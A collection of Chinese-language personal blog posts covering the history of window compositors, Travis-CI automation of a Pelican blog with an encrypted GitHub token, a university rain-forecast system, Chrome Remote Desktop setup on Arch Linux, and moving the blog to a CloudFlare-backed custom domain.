由於有了混成器的這種實現方式,使得可能把窗口渲染的圖像做進一步加工,添加陰影、三維和動畫效果。 這使得 Mac OS X 有了美輪美奐的動畫效果和 Exposé 這樣的方便易用的功能。 或許對於喬布斯而言,更重要的是因爲有了混成器,窗口的形狀終於能顯示爲他 夢寐以求 的 圓角矩形 了!
在蘋果那邊剛剛開始使用混成器渲染窗口的 2003 年,昔日的 昇陽公司(Sun Microsystems) 則在 Linux 和 Solaris 上用 Java3D 作出了另一個炫酷到沒有朋友的東西,被他們命名爲 Project Looking Glass 3D (縮寫LG3D,別和 Google 的 Project Glass 混淆呀)。這個項目的炫酷實在難以用言語描述, 好在還能找到兩段視頻展示它的效果。
如視頻中展示的那樣, LG3D 完全突破了傳統的棧式窗口管理方式, 在三維空間中操縱二維的窗口平面,不僅像傳統的窗口管理器那樣可以縮放和移動窗口, 還能夠旋轉角度甚至翻轉到背面去。從視頻中難以體會到的一點是, LG3D 在實現方式上與 Mac OS X 中的混成器有一個本質上的不同,那就是處於(靜止或動畫中)縮放或旋轉狀態 下的窗口是 可以接受輸入事件 的。這一重要區別在後面 Wayland 的說明中還會提到。 LG3D 項目展示了窗口管理器將如何突破傳統的棧式管理的框架,可以說代表了窗口管理器的未來發展趨勢。
LG3D 雖然以 GPL 放出了實現的源代碼,不過整個項目已經停滯開發許久了。 官方曾經放出過一個 預覽版的 LiveCD 。可惜時隔久遠(12年前了)在我的 VirtualBox 上已經不能跑起來這個 LiveCD 了……
更爲可惜的是,就在這個項目剛剛公開展示出來的時候,喬布斯就致電昇陽, 說如果繼續商業化這個產品,昇陽公司將涉嫌侵犯蘋果的知識產權 (時間順序上來看,蘋果最初展示 Exposé 是在 2003年6月23日的 Apple Worldwide Developers Conference ,而昇陽最初展示 LG3D 是在 2003年8月5日的 LinuxWorld Expo)。 雖然和喬布斯的指控無關,昇陽公司本身的業務也着重於服務器端的業務, 後來隨着昇陽的財政困難,這個項目也就停止開發並不了了之了。
上面說到, Windows 系列中到 XP 爲止都還沒有使用混成器繪製窗口。 看着 Mac OS X 上有了美輪美奐的動畫效果, Windows 這邊自然不甘示弱。 於是同樣在 2003 年展示的 Project Longhorn 中就演示了 wobbly 效果的窗口, 並且跳票推遲多年之後的 Windows Vista 中實現了完整的混成器 Desktop Window Manager (DWM) 。整個 DWM 的架構和 Mac OS X 上看到的很像:
和 Mac OS X 的情況類似, Windows Vista 之後的應用程序有兩套主要的繪圖庫,一套是從早期 Win32API 就沿用至今的 GDI(以及GDI+),另一套是隨着 Longhorn 計劃開發出的 WPF 。 WPF 的所有用戶界面控件都繪製在 DirectX 貼圖上,所以使用了 WPF 的程序也可以看作是 DirectX 程序。而對老舊的 GDI 程序而言,它們並不是直接繪製到 DirectX 貼圖的。首先每一個 GDI 的繪圖操作都對應一條 Windows Metafile (WMF) 記錄,所以 WMF 就可以看作是 Mac OS X 的 Quartz 內部用的 PDF 或者 NeXTSTEP 內部用的 DPS,它們都是矢量圖描述。隨後,這些 WMF 繪圖操作被通過一個 Canonical Display Driver (cdd.dll) 的內部組建轉換到 DirectX 平面,並且保存起來交給 DWM。最後, DWM 拿到來自 CDD 或者 DirectX 的平面,把它們混合起來繪製在屏幕上。
值得注意的細節是,WPF 底層的繪圖庫幾乎肯定有 C/C++ 綁定對應, Windows 自帶的不少應用程序 和 Office 2007 用了 Ribbon 之後的版本都採用這套繪圖引擎,不過微軟沒有公開這套繪圖庫的 C/C++ 實現的底層細節,而只能通過 .Net 框架的 WPF 訪問它。這一點和 OS X 上只能通過 Objective-C 下的 Cocoa API 調用 Quartz 的情況類似。
另外需要注意的細節是 DirectX 的單窗口限制在 Windows Vista 之後被放開了,或者嚴格的說是 基於 WDDM 規範下的顯卡驅動支持了多個 DirectX 繪圖平面。 在早期的 Windows 包括 XP 上,整個桌面上同一時刻只能有一個程序的窗口處於 DirectX 的 直接繪製 模式,而別的窗口如果想用 DirectX 的話,要麼必須改用軟件渲染要麼就不能工作。 這種現象可以通過打開多個播放器或者窗口化的遊戲界面觀察到。 而在 WDDM 規範的 Vista 中,所有窗口最終都繪製到 DirectX 平面上,換句話說每個窗口都是 DirectX 窗口。又或者我們可以認爲,整個界面上只有一個真正的窗口也就是 DWM 繪製的全屏窗口, 只有 DWM 處於 DirectX 的直接渲染模式下,而別的窗口都輸出到 DirectX 平面裏(可能通過了硬件加速)。
由 DWM 的這種實現方式,可以解釋爲什麼 窗口模式下的遊戲總是顯得比較慢 ,原因是整個桌面有很多不同的窗口都需要 DWM 最後混成,而如果在全屏模式下,只有遊戲 處於 DirectX 的直接渲染方式,從而不會浪費對遊戲而言寶貴的 GPU 資源。
由於 DWM 實現了混成器,使得 Vista 和隨後的 Windows 7 有了 Aero Glass 的界面風格, 有了 Flip 3D 、Aero Peek 等等的這些輔助功能和動畫效果。 這套渲染方式延續到 Windows 8 之後,雖然 Windows 8 還提出了 Modern UI 不過傳統桌面上的渲染仍舊是依靠混成器來做的。
別急,我寫這些文章的目的是想聊聊 Linux 中的混成器,尤其是 X 下現有的混成器和 Wayland ,這篇文章只是個背景介紹。關於 X 中混成器的實現方式和限制,且聽我下回分解。
我的 RSS 訂閱着一個博客叫 The Old New Thing ,作者是Windows開發者之一的 Raymond Chen ,記錄 Windows 中的很多有趣的技術細節。 這個博客中的一些精彩內容還被他寫成了一本書,中文名叫《Windows編程啓示錄》 (ISBN: 978-7-111-21919-4) 而英文書名就叫 The Old New Thing — Practical Development Throughout the Evolution of Windows (ISBN: 978-0-321-44030-3)。
今天看到這個博客的一篇文章說 你用「簡單地」次數越多我越懷疑你不懂這個詞的意思 , 描述他看到某個博客上指導讀者打開命令行、執行某條魔法命令、從命令輸出抽取參數、 改寫配置文件、用魔法命令重啓服務,並把這些工作描述爲「簡單地」。
的確正如 Raymond 指出,一個人覺得簡單的事情對別人並不一定是簡單的。 搜了一下我自己寫的東西,的確很多地方寫了「簡單」二字,這的確對讀者不友好。
從今往後避免用「簡單」來描述。
上次介紹過 這個博客改換了主題 , 本以爲這個話題可以告一段落了,沒想到還能繼續寫呢。
寄宿在 Github Pages 上的靜態博客通常有兩種方案,其一是使用 Jekyll 方式撰寫,這可以利用 Github Pages 原本就有的 Jekyll支持 生成靜態網站。另一種是在 本地 也就是自己的電腦上生成好,然後把生成的 HTML 網站 push 到 Github Pages ,這種情況下 Github Pages 就完全只是一個靜態頁面宿主環境。
我用 Pelican 生成博客,當然就只能選擇後一種方式了。這帶來一些不便,比如本地配置 pelican 還是有一點點複雜的,所以不能隨便找臺電腦就開始寫博客。有的時候只是想修正一兩個錯別字, 這時候必須打開某臺特定的電腦纔能編輯博客就顯得不太方便了。再比如 pelican 本身雖然是 python 寫的所以跨平臺,但是具體到博客的配置方面, Windows 環境和 Linux/OSX/Unix-like 環境下還是有 些許出入 的。還有就是沒有像 wordpress 那樣的基於 web 的編輯環境,在手機上就不能隨便寫一篇博客發表出來(不知道有沒有勇士嘗試過在 Android 的 SL4A 環境下的 python 中跑 pelican ,還要配合一個 Android 上的 git 客戶端 )。
當然並不是因此就束手無策了,感謝 Travis-CI 提供了免費的 持续整合(Continuous integration) 虛擬機環境, 通過它全自動生成靜態博客成爲了可能。
持续整合 原本是 敏捷開發(Agile Development) 或者 極限編程(Extreme Programming) 中提到的概念,大意就是說在開發的過程中, 一旦有微小的變更,就全自動地 持續 合併到主線中, 整合 變更的內容到發佈版本裏。 這裏的 整合 實際上可以理解爲 全自動測試 加上 生成最終產品 。 可以看到 持續整合 實際強調 全自動 ,於是需要有一個服務器不斷地監聽主線開發的變更內容, 一旦有任何變更(可以理解爲 git commit )就自動調用測試和部署腳本。
於是要用持續整合就需要一個整合服務器,幸而 Travis-CI 對 github 上的公開 repo 提供了免費的整合服務器虛擬機服務,和 github 的整合非常自然。所以我們就可以用它提供的虛擬機 爲博客生成靜態網站。
這一步很簡單,訪問 https://travis-ci.org/ 並用你的 Github 賬戶登錄, 授權它訪問你的賬戶信息就可以了。然後在 https://travis-ci.org/repositories 裏開啓 需要編譯的 repo ,這樣 Travis-CI 就會監視對這個 repo 的所有 push 操作,並且對 每個 push 調用測試了。
在 Travis-CI 中開啓對 Github Repo 的持續整合
然後在 repo 的根目錄放一個
.travis.yml
文件描述編譯的步驟。
暫時 測試的目的下我寫的
.travis.yml
大概是下面這樣。
language: python
python:
- "2.7"
before_install:
- sudo apt-add-repository ppa:chris-lea/node.js -y
- sudo apt-get update
- sudo apt-get install nodejs ditaa doxygen parallel
install:
- sudo pip install pelican
- sudo pip install jinja2
- sudo pip install babel
- sudo pip install beautifulsoup4
- sudo pip install markdown
- sudo npm install -g less
- wget "http://downloads.sourceforge.net/project/plantuml/plantuml.jar?r=&ts=1424308684&use_mirror=jaist" -O plantuml.jar
- sudo mkdir -p /opt/plantuml
- sudo cp plantuml.jar /opt/plantuml
- echo "#! /bin/sh" > plantuml
- echo 'exec java -jar /opt/plantuml/plantuml.jar "$@"' >> plantuml
- sudo install -m 755 -D plantuml /usr/bin/plantuml
- wget https://bintray.com/artifact/download/byvoid/opencc/opencc-1.0.2.tar.gz
- tar xf opencc-1.0.2.tar.gz
- cd opencc-1.0.2 && make && sudo make install && cd ..
- sudo locale-gen zh_CN.UTF-8
- sudo locale-gen zh_HK.UTF-8
- sudo locale-gen en_US.UTF-8
- sudo locale-gen ja_JP.UTF-8
script:
- git clone --depth 1 https://github.com/farseerfc/pelican-plugins plugins
- git clone --depth 1 https://github.com/farseerfc/pelican-bootstrap3 theme
- mkdir output
- env SITEURL="farseerfc.me" make publish
Travis-CI 提供的虛擬機是比較標準的 Ubuntu 12.04 LTS ,打上了最新的補丁,並且根據你指定的 語言選項會把相應的解釋器和編譯器升級到最新版(或者指定的版本)。這裏用 python 語言的配置, 所以 python 是 2.7 的最新版並且有 pip 可以直接用。 配置中的 before_install 和 install 的區別其實不大,其中任何一個失敗的話算作 build errored 而不是 build fail ,而如果在 script 裏失敗的話算作 build fail 。
爲了編譯我的模板,還需要比較新的 less.js ,所以添加了 ppa 裝了個最新的 nodejs 並用它裝上了 less 。 還從源碼編譯安裝上了最新版的 opencc 1.0.2 ,因爲 Ubuntu 源裏的 opencc 的版本比較老(0.4), 然後 doxygen 作爲 opencc 的編譯依賴也裝上了。 其它安裝的東西麼,除了 pelican 之外都是插件們需要的。以及我還需要生成 4 個語言的 locale 所以調用了 4 次 locale-gen 。由於是比較標準的 Ubuntu 環境,所以基本上編譯的步驟和在本地 Linux 環境中是一樣的,同樣的這套配置應該可以直接用於本地 Ubuntu 下編譯我的博客。
寫好
.travis.yml
之後把它 push 到 github ,然後 travis 這邊就會自動 clone
下來開始編譯。 travis 上能看到編譯的完整過程和輸出,一切正常的話編譯結束之後
build 的狀態就會變成 passing ,比如
我的這次的build 。
上面的測試編譯通過了之後,下一步就是讓 travis-ci 編譯的結果自動推到 Github Pages 並發佈出來。要推往 Github 自然需要設置 Github 用戶的身份,在本地設置的時候是把 ssh key 添加到 github 賬戶就可以了,在編譯細節都通過 github repo 公開了的 travis 上 當然不能放推送用的私有 key ,所以我們需要另外一種方案傳遞密碼。
好在 Github 支持通過 Personal Access Token 的方式驗證,這個和 App Token 一樣可以隨時吊銷,同時完全是個人創建的。另一方面 Travis-CI 支持加密一些私密數據,通過環境變量的方式傳遞給編譯腳本,避免公開密碼這樣的關鍵數據。
首先創建一個 Personal Access Token ,這裏需要勾選一些給這個 Token 的權限,我只給予了最小的 public_repo 權限,如側邊裏的圖。 生成之後會得到一長串 Token 的散列碼。
使用
travis encrypt
命令來加密重要數據最方便,不過如果有任何原因,
比如 ruby 版本太低或者安裝不方便之類的,那麼不用擔心,我們直接通過
travis api
也能加密數據。
第一步用這個命令得到你的repo的 pubkey :
curl -H "Accept: application/vnd.travis-ci.2+json" https://api.travis-ci.org/repos/<github-id/repo>/key | python2 -m json.tool | grep key | sed 's/.*"key": "\(.*\)"/\1/' | xargs -0 echo -en | sed 's/ RSA//' > travis.pem
其中的 <github-id/repo> 替換成 github 上的 用戶名/repo名, 比如我的是
farseerfc/farseer 。travis api 獲得的結果是一個 json ,所以還用 python 的
json 模塊處理了一下,然後把其中包含 key 的行用
grep
提取出來,用
sed
匹配出 key 的字符串本身,然後
xargs -0 echo -en
解釋掉轉義字符,然後刪掉其中的 "<空格>RSA" 幾個字(否則 openssl 不能讀),
最後保存在名爲 travis.pem 的文件裏。
有了 pubkey 之後用 openssl 加密我們需要加密的東西並用 base64 編碼:
echo -n 'GIT_NAME="Jiachen Yang" GIT_EMAIL=farseerfc@gmail.com GH_TOKEN=<Personal Access Token>' | openssl rsautl -encrypt -pubin -inkey travis.pem | base64 -w0
替換了相應的身份信息和token之後,這行得到的結果就是 secure 裏要寫的加密過的內容。
然後我們需要
travis
命令來加密這個 token , archlinux 用戶可以安裝
aur/ruby-travis
,其它用戶可以用 gems 安裝:
$ gem install travis
裝好之後,在設定了 Travis-CI 的 repo 的目錄中執行一下
travis status
,
命令會指導你登錄 Travis-CI 並驗證 repo 。正常的話會顯示最新的 build 狀態。
然後同樣在這個 repo 目錄下執行:
$ travis encrypt 'GIT_NAME="Jiachen Yang" GIT_EMAIL=farseerfc@gmail.com GH_TOKEN=<Personal Access Token>'
當然上面一行裏的相應信息替換爲個人的信息,作爲這個命令的執行結果會得到另一長串散列碼,
把這串散列寫入剛纔的
.travis.yml
文件:
env:
- secure: "long secure base64 string"
有了這段聲明之後, Travis-CI 就會在每次編譯之前,設置上面加密的環境變量。 然後在編譯腳本中利用這些環境變量來生成博客:
script:
- git config --global user.email "$GIT_EMAIL"
- git config --global user.name "$GIT_NAME"
- git config --global push.default simple
- git clone --depth 1 https://github.com/farseerfc/pelican-plugins plugins
- git clone --depth 1 https://github.com/farseerfc/pelican-bootstrap3 theme
- git clone --depth 1 https://$GH_TOKEN@github.com/farseerfc/farseerfc.github.io output
- env SITEURL="farseerfc.me" make publish
after_success:
- cd output
- git add -A .
- git commit -m "update from travis"
- git push --quiet
這裏要注意最後
git push
的時候一定要加上
--quiet
,因爲默認不加的時候會把
代入了
$GH_TOKEN
的 URL 顯示出來,從而上面的加密工作就前功盡棄了……
根據 travis 的文檔
, after_success 裏寫的步驟只有在 script 裏的全都完全無錯執行完之後纔會執行,這正是我們
push 的條件。目前 after_success 的成功與否不會影響到 build 的狀態。
具體我用的配置見
這裏的最新版 。
在我的
make github
中
調用了
git push
命令,從而執行了
make github
之後就會自動部署到 github 上。
經過以上設置之後,一切正常的話,每次對主 repo 推送更新的同時, Travis-CI 就會自動
拉來更新然後編譯並發佈了。可以放置這樣的圖標 在項目的
Readme.md
中顯示編譯狀態。
這樣設置之後的另一個好處就在於可以利用 Github 的 Web 界面編輯文章內容。在 Github 裏 編輯和保存之後會自動作爲一個 commit 提交,所以也會觸發 Travis-CI 的自動編譯。
在 Github 的 Web 界面中直接編輯文章內容
以及雖然目前還沒有好用的 Github 的手機客戶端,不過直接用 Android/iPhone 的瀏覽器登錄 github 並編輯文章的可用性也還不錯,所以同樣的方式也可以直接在手機上發佈博文了。
That is all, happy blogging ~
最近 mazk 說我 life 分類裏的文章太少 ,所以想了想寫了這篇。
很多人問過我爲什麼要來日本留學,嘛原因之一是我英語太差了,相對而言日語比較好。 另一方面,我比較喜歡日本的學術氛圍。這個當然是主觀體會,而不是客觀的評價,只是我 覺得相對於 歐美喜歡研究基礎架構技術 , 日本則偏向實用層面 。
說個具體一點例子,最近看到這篇新聞說 卢布贬值影响中央气象台预报准确率? ,其中提到:
因为卢布贬值,天气预报的准确率会有所降低
也說道:
不过经我多年的观察,中国中央气象台的预报准确率实在是不怎么样,具体到我生活的地区, 实际天气状况和中国中央气象台预报的出入较大……
相信不少人也有類似的體會。
天氣預報是事關人們生活的重要信息,其準確度對生產生活當然有很大影響。 說到增加天氣預報的準確度,人們自然會想到高性能的超級計算機比如 天河二號 ,想到環繞在地球高空的 氣象衛星 ,想到遍佈世界各地的氣象站觀測臺。想想這麼多耗資不菲的高尖端項目被國家投入, 用來改善天氣預報的準確程度,看起來這的確是一個困難的科研課題。
話說回來,準確預測氣溫、氣壓、溼度、降水概率等等這些事情對於生產生活固然重要, 不過對一般民衆而言,天氣預報最重要的作用就只是回答 明天我該穿多厚的衣服,出門是否需要打傘 這種問題。一年四季換衣服的時機其實並不那麼頻繁,氣溫提升五度或者降低兩度這種程度下人們估計也 不能感覺得到,大體上只要根據「昨天穿什麼衣服,昨天覺得冷不冷」就能作出判斷。另一方面, 出門是否需要打傘 這樣的問題的確只能依靠天氣預報來回答。
那麼解決 出門是否需要打傘 這個問題需要那麼高尖端的技術麼?
我所在的大阪大學情報科學研究科有個已經畢業的學長 今城 健太郎(いまじょう けんたろう) 就對此作出了解答。他的專業不是氣象預測,而是圖像分析處理,純粹的計算機科學學科。 而他的本科畢業設計就着眼於「僅僅分析氣象雲圖,能否高精度預測降水概率」, 其研究成果,就是一個叫 ないんたん 的降水概率預測系統 。
這個系統有數個會賣萌的Twitter機器人 @ninetan ,每時每刻對 其預測地區的降水情況做播報,同時也有詳細的降水概率曲線圖對 大阪 ( @ninetan_osaka ), 京都 ( @ninetan_kyoto ), 東京 ( @ninetan_tokyo ), 兵庫 ( @ninetan_hyogo ), 和歌山 ( @ninetan_wakayam ) 的各個大學所在校區 兩個半小時內做精確的降水概率預測。比如今天晚上大阪大學三個校區的降水概率圖如下:
今天晚上大阪大學三個校區的降水概率圖
從上面的圖可以看出這個系統的預測精度是以 分爲單位 的,可以看到 兩個半小時內各地的降水量的大小。比如我可以根據這張圖看出,我所在的吹田校區 將在 21時35分 開始有微弱的概率下起 0.1mm/h~1mm/h 的毛毛雨,到 22時05分 左右這個降水概率 爬升到最高大約45%,從而作出判斷: 我最好在晚上九點左右離開學校回家,避免淋雨。
自從研究室的前輩給我介紹這個天氣預報系統開始,我用了它兩三年了,直觀感覺是 這個系統的預測精度驚人得準確,基本上能接近 《魔法的禁書目錄》中的「樹形圖設計者」 能做的天氣預報的程度, 它說何時會下雨就一定下雨,它說何時雨停就一定雨停。同學們出門和回家的時候一般都會 看一眼這個天氣預報然後決定是否出門。「啊今天晚上9點開始下雨所以早點回家」 或者「啊還有30分鐘雨就停了,再在研究室裏留一會兒」。
這只是一個本科生的畢業設計,所以覆蓋面小(只有5所大學的十幾個校區,只能預測 未來兩個多小時的降水概率),不過僅此而已能做到如此的精度以至於實用,實在讓我 驚訝。系統的測試之初就有人說:
最近ないんたん予報あたりすぎてないんたんが雨降らせてるんじゃないかという疑惑
— すみのネコ歩き (@sumi_eee) 2011 7月 6日
最近ないんたん預告實在太準了,甚至讓人懷疑是不是ないんたん把雨招來的。
不過最近身邊的日本人似乎已經把這個系統的準確當作習以爲常了,就像日本的電車 掐着秒錶準點到站一樣,理所當然。 把天氣預報這種高尖端的技術做到如此實用的地步,這基本上可以代表我對 日本學術界研究方式和研究目的的總體印象了。
嗯今天就寫這麼多,9點到了,我要按照天氣預報的預測,準時回家了。
——寫於2015羊年除夕夜,9點。
透明計算 具體是什麼,因爲他們沒有公開技術細節所以我並不知道,只是看 公開出來的演示視頻 ,感覺似乎只要能從手機上遠程登錄系統桌面,就能算是透明計算了。 如果透明計算真是這個意思,那麼我似乎已經用着這個技術很多年了嘛。
Xorg 上常用的遠程桌面工具有很多,基於 VNC 協議的、基於NX的和基於 RDP 協議的都能找到, 直接 ssh X forwarding 效果也不錯。只是這些方案的一個 不太易用 的地方在於,需要 通過 ip 訪問到遠程的電腦,所以在跨越 NAT 之類的情況下不太容易使用。
於是今天介紹一個使用方便設置也簡單的方法: 通過 chrome-remote-desktop 在 archlinux 上使用遠程桌面。這個方案的優勢在於,藉助 Google 的雲端服務器(內部貌似是XMPP協議下的握手) 方便地實現了 NAT 穿透,無論什麼網絡環境基本都能使用。當然,要支持遠程登錄, 位於遠端的登錄的計算機必須一直開着 Chrome Remote Desktop 的後臺服務。
雖然可能有很多人不知道,不過 Chrome 內包括遠程桌面的功能很久了。只是這個功能的界面默認 沒有提供界面,要使用它需要安裝 Google 官方出品的 remote-desktop 插件 。 裝好之後遠程桌面的客戶端就準備好,可以用來遠程訪問別的計算機桌面了(無論是 Windows/OS X 還是 Linux 都支持)。並且不光可以自己遠程訪問自己賬戶的桌面,還可以遠程協助朋友的桌面。
有了客戶端之後還要設置一下纔能讓桌面作爲遠程登錄的服務器。Windows 和 OS X 上 Chrome 會自動下載需要的安裝包,無腦下一步就能裝好了。Linux上由於發行版衆多,桌面配置各異, 所以需要一點手動配置。官方的設置步驟記載在 這裏 其中給出了 debian 用的二進制包和 Ubuntu 12.10 上的設置方式,以下設置是參考官方步驟。
首先要安裝 chrome-remote-desktop 這個包,這個包實際上對應了 Windows/OS X 上用安裝程序 安裝的 Remote Desktop Host Controller。 archlinux 上開啓了 [archlinuxcn] 倉庫的話,可以直接安裝打好的包。或者可以從 AUR 裝。
$ pacman -Ss chrome-remote-desktop
archlinuxcn/chrome-remote-desktop 40.0.2214.44-1
Allows you to securely access your computer over the Internet through Chrome.
裝好之後從會說這麼一段話:
groupadd:无效的组 ID “chrome-remote-desktop”
Please create ~/.config/chrome-remote-desktop folder manually, if it doesn't exist, or else you can't use CRD. The needed files are created by the Chrome app, inside the chrome-remote-desktop folder, after Enabling Remote Connections. To {enable,start} the service use systemctl --user {enable,start} chrome-remote-desktop
You may need to create a ~/.chrome-remote-desktop-session file with commands to start your session
Go to https://support.google.com/chrome/answer/1649523 for more information.
那句報錯是 AUR 裏打的包還沒跟上上游 Google 的更改導致的錯誤, 首先我們需要把遠程登錄的用戶添加入 chrome-remote-desktop 這個用戶組裏。 新版本的 chrome remote desktop 提供了一個命令做這個事情,所以執行以下命令就可以了:
$ /opt/google/chrome-remote-desktop/chrome-remote-desktop --add-user
然後我們需要手動創建
~/.config/chrome-remote-desktop
這個文件夾,內容是空的
就好了,隨後 chrome 會往這裏面放
host#.json
文件用於身份驗證。
$ mkdir ~/.config/chrome-remote-desktop
然後我們要創建一個 shell 腳本
~/.chrome-remote-desktop-session
,這是遠程
登錄時的 .xinitrc ,內容麼就是啓動你想在遠程登錄時用的桌面環境。
這裏可以指定一個和你正在登錄的 WM/DE 不同的桌面,比如我啓動 xfce4:
$ cat ~/.chrome-remote-desktop-session
#!/bin/bash
startxfce4
$ chmod 755 .chrome-remote-desktop-session
接下來需要從 Chrome 的插件裏啓用遠程桌面。打開 Chrome 的 Remote Desktop 插件,這時 應該可以看到一個「啓用遠程鏈接」的按鈕。
Chrome Remote Desktop 插件中「啓用遠程鏈接」的按鈕
在撰寫本文的時候, Archlinux 官方源裏的 chromium 的版本和 aur/google-chrome 的版本尚且還是 40.0.2214.111 ,而 Chrome Web Store 中提供的 Chrome Remote Desktop 的插件的版本是 41.0.2272.41 。雖然通常並不要求兩者版本一致,不過貌似最近 Chrome 內部的 Remoting 功能更改了 API 導致可能出問題。如果你找不到 「啓用遠程鏈接」的按鈕,請嘗試一下新版本的 Chrome 比如 google-chrome-dev 。 在這一步啓用之後,老版本的 chrome 應該也就能使用遠程桌面了。
在32位的 Linux 版本上,最近更新的 Chrome Remote Desktop 插件可能無法正確識別 Host 的版本,具體 參考這個 bug 。
點擊「啓用遠程鏈接」,設定一個 PIN 密碼(不需要很複雜,這裏首先有 Google 帳號驗證保證只有 你纔能訪問),然後就能看到這套電腦的 hostname 出現在「我的電腦」列表裏。
啓用遠程鏈接之後的樣子
同時,啓用了遠程鏈接之後,可以在剛剛創建的 ~/.config/chrome-remote-desktop 文件夾中找到記錄了驗證信息的文件。
$ ls .config/chrome-remote-desktop
chrome-profile host#8cfe7ecfd6bb17955c1ea22f77d0d800.json pulseaudio#8cfe7ecfd6
然後就可以啓動對應的 systemd 用戶服務了,如果想自動啓動服務要記得
systemctl --user enable
:
$ systemctl --user start chrome-remote-desktop.service
如果上面的設置一切正常,就可以看到 chrome-remote-desktop 啓動了另外一個 Xorg 執行你 剛剛指定的桌面環境:
htop 中看到的 chrome-remote-desktop 啓動的另外一個 Xorg
然後就可以試着通過 Remote Desktop 插件登錄到這個新開的 Xorg 了:
「遠程」登錄到新的 XFCE4
通過上面的設置步驟也可以看出,Linux版本的遠程桌面會在後臺開一個獨立的 X 會話,而不能 復用現在已有的 X 會話。對遠程登錄的用法而言這還能接受,對遠程協助的功能而言有點問題, 因爲正在使用的人不能觀察協助者做了什麼,協助者也不能繼續請求協助的人的操作。
當然目前 Chrome 遠程桌面的 Linux Host Controller 還只是 beta 版本,官方只測試支持 Ubuntu 12.04 和 12.10 (14.04之後似乎有 Bug ),所以不能要求太多。希望以後能改善吧。
通過上面的設置就可以從任何一個 Chrome 遠程桌面客戶端登錄剛剛設置的這臺電腦了。 因爲 Chrome 在三大桌面系統 Windows / OS X / Linux 上都有,所以應該能覆蓋大多數桌面 系統了。
除了桌面的 Chrome 之外還有一個客戶端是 Android 上的 Chrome 遠程桌面 App 經過上面的設置之後,從這個 App 也能看到並登錄:
手機遠程登錄
好啦,開始享受國家自然科學一等獎的透明計算技術吧!
上個月就在 狗爹(godaddy) 上買了個自己的域名
farseerfc.me
準備用在這個
博客上,當時試着轉到過這個域名,發現 自定義域名(custom domain)
只支持 http 不支持 https ,想着還要買自己的證書,於是就扔在了一旁。不用自定義域名的話,
放在 github.io 上是可以用 HTTPS 的。
今天在 #archlinux-cn 上受大牛 quininer 和 lilydjwg 點播,
發現 cloudflare 有提供
免費的支持 SSL 的 CDN 服務
趕快去申請了一個,感覺非常讚,於是就換過來了。
設置的方法按照 這篇博文 說的一步步做下來,如它所述,用 CloudFlare 的優點如下:
現在不光支持 SPDY 而且支持 HTTP/2 了。
然後 免費賬戶 的一些缺點有:
如評論中 提到的 現在支持 HSTS 了。
基本按照默認的選項下一步就可以了。
更改狗爹的域名服務器
申請好之後就由 CloudFlare 接管域名解析了,接下來在 CloudFlare 的 DNS 設置添加一條 A 類規則指向 github pages 的 IP 。
更改CloudFlare的DNS規則
等一切都反映到 DNS 服務器上就設置完成了,接下來給 farseerfc.github.io push 一個 CNAME 文件 寫上我的域名就可以了。我用 Makefile 配合我的 pelican 配置做這個:
publish: rmdrafts cc clean theme
[ ! -d $(OUTPUTDIR) ] || find $(OUTPUTDIR) -mindepth 1 -not -wholename "*/.git*" -delete
rm -rf cache
echo $(SITEURL) > content/static/CNAME
$(PELICAN) $(INPUTDIR) -o $(OUTPUTDIR) -s $(PUBLISHCONF) $(PELICANOPTS)
$(MAKE) rsthtml
github:
(cd $(OUTPUTDIR) && git checkout master)
env SITEURL="farseerfc.me" $(MAKE) publish
(cd $(OUTPUTDIR) && git add . && git commit -m "update" && git push)
SITEURL = '//' + getenv("SITEURL", default='localhost:8000')
STATIC_PATHS = ['static', 'images', 'uml', 'images/favicon.ico', 'static/CNAME']
EXTRA_PATH_METADATA = {
'images/favicon.ico': {'path': 'favicon.ico'},
'static/CNAME': {'path': 'CNAME'}
}
然後把生成的靜態網站 push 到 github 之後可以從項目設置裏看到域名的變化:
Github 配置好自定義域名之後的變化
最後把Disqus的評論也遷移到新的域名,disqus有方便的遷移嚮導,一直下一步就可以了。
這樣就一切都設置妥當了。
不知不覺間放任這邊長草很久了,從上次 折騰主題 到現在都快三年了, 而從上次 寫了篇告白信 到現在也有快兩年了。 這期間曾經把主題配色從 Bootstrap 2 默認的 白底黑字改成了讓眼睛更舒適的黑底白字,也不過是用 drop-in 的配色方案而已,沒有本質上的改進。
洞中一日世上千載,兩年裏 Bootstrap 已經升上 v3.3 , 而 Pelican 則已經升到 3.5 了。 早就眼饞 Bootstrap 和 Pelican 中的諸多新功能新設計,不過無奈於時間有限只能飽飽眼福。
近日想寫的東西越積越多,終於下定決心花了前前後後 兩個月 的時間重新設計了一遍 Pelican 的主題,配合一些我覺得有用的插件。於是本博客就變成你們現在看到的樣子了。 (以及本篇博文也用了兩個月的時間寫完,其間還發了幾篇別的短文,算是恢復寫博客的嘗試吧。)
@media
查詢去微調。
現在的 優先移動設備(mobile-first) 響應式(responsive)
柵格系統(grid system) 則相對顯得科學很多了,也終於能在手持
設備上看起來舒服一些。諸位可以嘗試改變窗口寬度,或者在不同的手持設備上打開這個
blog ,體驗一下這個頁面在不同顯示器大小中的效果。如果仍有問題歡迎
發 Issue 給我 。更多細節參考 Bootstrap 3 主頁 。
更多細節參考 Pelican 文檔 。
. ├── cache 生成頁面的 pickle 緩存 ├── content 讀取的全部內容 │ ├── <categories> 按分類存放的文章 │ ├── pages 像 About 這樣的固定頁面 │ └── static 文章內用到的靜態內容 ├── drafts 文章的草稿箱 ├── Makefile 生成用的 makefile ├── pelicanconf.py 測試時用的快速 Pelican 配置 ├── publishconf.py 部署時用的耗時 Pelican 配置 ├── output -> ../farseerfc.github.io ├── plugins -> ../pelican-plugins └── theme -> ../pelican-bootstrap3
之前的博客 仍然留在 github 上,其中的內容完全搬過來了。開始寫老博客的時候 Pelican 版本較早,沒有形成好的 文件夾佈局,導致生成的文章、使用的模板和撰寫的內容全都混在一起,非常難以管理, 於是趁改版之際用了新的文件夾佈局方式,並分爲 4 個 git repo 分別管理歷史。
首先是存放 總的博客內容的 repo , 其佈局是如圖那樣的。這樣將生成的靜態網站和生成網站用的配置啦內容啦分開之後,頓時清晰了很多。
然後這個內容 repo 中的三個符號鏈接分別指向三個子 repo(沒用
git submodule
管理純粹是因爲偷懶)。 theme 指向
pelican-bootstrap3
,是我修改過的 pelican 主題。
plugins 指向 pelican-plugins
,由於 plugins 的質量有些參差不齊,其中不少 plugin
都按我的需要做了些許修改,一些是功能改進,另一些則是修bug(比如不少plugin只支持 python 2)。
最後 output 指向
farseerfc.github.io
也就是發佈的靜態網站啦。
接下來從 主題 和 插件 兩個方面介紹一下改版的細節。
